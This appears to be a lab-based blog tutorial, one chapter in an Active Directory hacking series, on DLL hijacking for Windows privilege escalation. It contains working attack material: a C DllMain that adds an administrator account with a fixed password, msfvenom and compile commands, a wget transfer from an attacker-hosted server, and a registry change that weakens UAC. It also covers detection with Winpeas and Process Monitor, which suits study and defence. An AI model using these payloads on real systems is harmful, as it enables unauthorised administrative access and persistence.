DLL Hijacking: Understanding, Detecting, and Exploiting Privilege Escalation on Windows

8 min read

December 3, 2023

Navigating the Active Directory Maze: Unveiling Hacking Strategies
DLL Hijacking: Understanding, Detecting, and Exploiting Privilege Escalation on Windows

Table of contents

Introduction

Welcome to an insightful exploration of privilege escalation within Active Directory environments, a critical aspect of modern cybersecurity. In this series, we delve into various techniques commonly employed for escalating privileges, ranging from those applicable to individual Windows machines to those more intricately linked to Active Directory itself.

Our journey begins with a focus on one of the most renowned methods: DLL hijacking. This chapter will enlighten you on what DLL hijacking entails, how it can be leveraged for privilege escalation, and methods to identify applications vulnerable to this exploit.

This series is designed to not only impart knowledge about these techniques but also to provide practical insights into their application and detection. With a blend of theory and hands-on examples, we aim to equip you with the skills necessary to navigate and secure complex Active Directory environments. So, let's embark on this educational journey together!

Understanding DLL Hijacking

DLL hijacking, also known as "DLL preloading" or "binary planting," is a security vulnerability where an executable program, like an application or service, loads a Dynamic Link Library (DLL) from an unspecific or uncontrolled location. To put it simply, it involves impersonating a DLL that an application expects to find but doesn't, due to it not being in the system. Windows searches for these missing DLLs along the paths defined in the "PATH" environment variable, which can be displayed using the command echo %PATH%.

PATH environment variable

If the DLL is absent in the application's own path, Windows then looks for it in each of the PATH entries. Our goal is to identify applications searching for non-existent DLLs or DLLs in paths where we have write access. Once we find such a location, we create a malicious DLL to replace the missing one. This tactic becomes effective when the corresponding application service is restarted or executed by a user with higher privileges, enabling actions like privilege escalation. Notably, DLL hijacking can also be employed as a method for maintaining persistence on a machine, a topic we'll explore in a future series on red team techniques.

Diagram of the Attack

Detecting DLL Hijacking Vulnerabilities

Moving from theory to practice, let's explore how to detect DLL hijacking vulnerabilities on a machine. A widely-used tool for automating the detection of privilege escalation vectors is Winpeas. To utilize Winpeas, it first needs to be uploaded to the target machine. For this task, I've employed Python to create an HTTP server and used wget on Windows to transfer the binary:

wget http://192.168.1.146:9000/winpeas.exe -OutFile winpeas.exe
Python server to pass files

After successfully uploading the file, execute it and save the results with the command:

.\winpeas.exe | tee winpeas_report.txt
Search for DLL hijacking

In our focus on DLL hijacking, we search for indications within the console output. In this instance, it shows that our user has full access to the "dll_privilege" folder, suggesting the possibility of modifying DLLs within this directory, thereby impacting the associated application.

Additionally, we can leverage the Sysinternals Process Monitor tool to identify events related to missing DLLs. A deeper look into this tool and its application will be discussed in the upcoming section, providing further insights into understanding this vulnerability.

Process Monitor - Sysinternals
Monitor file system, Registry, process, thread and DLL activity in real-time.

Demonstrating DLL Hijacking

To illustrate DLL hijacking, I've developed a simple C program that searches for a specific DLL and reports its presence. The program's code is straightforward:

#include <windows.h>
#include <stdio.h>

int main(void)
{
    HINSTANCE hDll;

    hDll = LoadLibrary(TEXT("vulnerable.dll"));

    if (hDll != NULL)
    {
        printf("DLL Found\n");
    }
    else
    {
        printf("DLL Not found\n");
    }
}

In conjunction with this, the targeted DLL, when loaded, displays a confirmation message:

#include <windows.h>

BOOL WINAPI DllMain (HANDLE hDLL, DWORD dwReason, LPVOID lpReserved) {
    switch (dwReason){
        case DLL_PROCESS_ATTACH:
            MessageBox(NULL,"DLL Loaded!","Dll example",MB_ICONERROR | MB_OK);
            break;

    }
    return TRUE;
}

To compile both components, the following commands are used:

x86_64-w64-mingw32-gcc-win32 vulnerable.c -o vulnerable.exe
x86_64-w64-mingw32-gcc-win32 lib.c -o vulnerable.dll -shared

After compiling the binary, our next step is to transfer it to the target machine for testing. When we execute the binary without the accompanying DLL, an interesting observation emerges: the application explicitly reports that the DLL is not found.

DLL not found

To delve deeper into the application's behavior and the events it triggers, we turn to Process Monitor. By utilizing this tool, we can apply two specific filters: one to identify missing values and another to highlight files ending in ".dll".

Upon applying these filters in Process Monitor, we're able to observe a revealing outcome. A log is generated, clearly indicating that the "vulnerable.dll" library, which our application is attempting to access, could not be found.

Process Monitor events archieved

While this technique effectively identifies missing DLLs, it's primarily used for practice and demonstration purposes. In real-world scenarios, especially on compromised machines, we typically wouldn't have Process Monitor pre-installed.

Conversely, when the DLL is present, the process yields a different result: a message promptly appears, confirming that the DLL has been successfully loaded.

DLL loaded successfully

For demonstration purposes, let's consider a scenario where the DLL is not found. In such a case, we have the option to create a malicious DLL. A popular tool for this is msfvenom. As an example, using the following command, we can craft a DLL that, when executed, launches the calculator application.

msfvenom -p windows/x64/exec  CMD=calc.exe -f dll -o vulnerable.dll

Once we transfer this malicious DLL to the machine, the next phase of our demonstration unfolds. By executing the program, we can observe the payload in action.

Lab Scenario for Privilege Escalation

In our lab setup, I created a folder named "dll_privilege" to house the application. This folder is typically accessible only by administrators. However, due to a configuration error by one of them, the user "beruinsect" now has full access.

Vulnerable application

To replicate this scenario, the following commands were used:

icacls "C:\Program Files\dll_privilege" /grant beruinsect@shadow:F
Privileges in the folder

These commands grant the 'beruinsect' user comprehensive write, read, and execute permissions.

Demonstrating the Attack

Imagine we've run Winpeas and discovered that 'beruinsect' has full access to "C:\Program Files\dll_privilege". Within this directory, there's an application searching for a missing "vulnerable.dll". This situation is ripe for a DLL hijacking attack, which could enable privilege escalation when an administrator executes the application.

Our approach involves creating a malicious DLL that adds a user to the administrators' group. Here's the code for the malicious DLL and its compilation process:

BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){
    switch(dwReason){
        case DLL_PROCESS_ATTACH:
            system("net user rsgbengi Password123 /add");
            system("net localgroup administrators rsgbengi /add");
            break;
        case DLL_PROCESS_DETACH:
            break;
        case DLL_THREAD_ATTACH:
            break;
        case DLL_THREAD_DETACH:
            break;
    }
    return TRUE;
}
x86_64-w64-mingw32-gcc-win32 evil_lib.c -o vulnerable.dll -shared

This code leverages the "system" function to create a user with administrator rights. As the attacker, we would transfer this malicious DLL to the application's folder on the victim machine.

Writing the malicious DLL

Upon execution by an administrator, our embedded commands in the DLL are activated, successfully escalating privileges, as illustrated in the accompanying image.

Successful privilege escalation

Considering User Account Control (UAC)

It's important to note that running crackmapexec might not show the "pwn!" status due to active UAC. This Windows features prompts for permission when running tasks requiring higher privileges.

User created does not show as "Pwn".
UAC sample

To circumvent this, the following command can be used, and it can also be incorporated into the malicious DLL:

reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "LocalAccountTokenFilterPolicy" /t REG_DWORD /d 1 /f

Executing this command should alter the UAC status, enabling full administrative access for the newly created user. Additionally, tools like psexec can be used for remote command execution.

Disabling UAC
Crackmapexec showing user as administrator

Conclusions

In this exploration, we have delved into the intricate world of DLL hijacking, a pivotal technique in the realm of privilege escalation on Windows systems. Through our hands-on lab scenario, we have demonstrated the creation and deployment of a malicious DLL, revealing how seemingly minor oversights in system configurations can lead to significant security vulnerabilities.

Our journey highlighted the importance of tools like Winpeas for vulnerability detection and showcased the practical implications of executing a DLL hijacking attack. We also touched on the nuances of User Account Control (UAC) and how its settings can impact the success of such exploits.

As we conclude, it's evident that understanding and mitigating DLL hijacking is crucial in fortifying Windows environments against privilege escalation attacks. This chapter serves as a testament to the need for continuous vigilance and skill development in cybersecurity, preparing us for more advanced techniques in upcoming series.

Resources

DLL Hijacking — Part 1 : Basics
So recently I’ve been on a quest to learn pentesting on windows and i came across ‘DLL hijacking’. This seems so versatile to me and it…
GitHub - tothi/dll-hijack-by-proxying: Exploiting DLL Hijacking by DLL Proxying Super Easily
Exploiting DLL Hijacking by DLL Proxying Super Easily - GitHub - tothi/dll-hijack-by-proxying: Exploiting DLL Hijacking by DLL Proxying Super Easily

Chapters

Botón Anterior
Active Directory Enumeration: Automated and Manual Techniques for Privilege Escalation

Previous chapter

Path to Power: Unleashing Windows Privileges through Unquoted Service Paths

Next chapter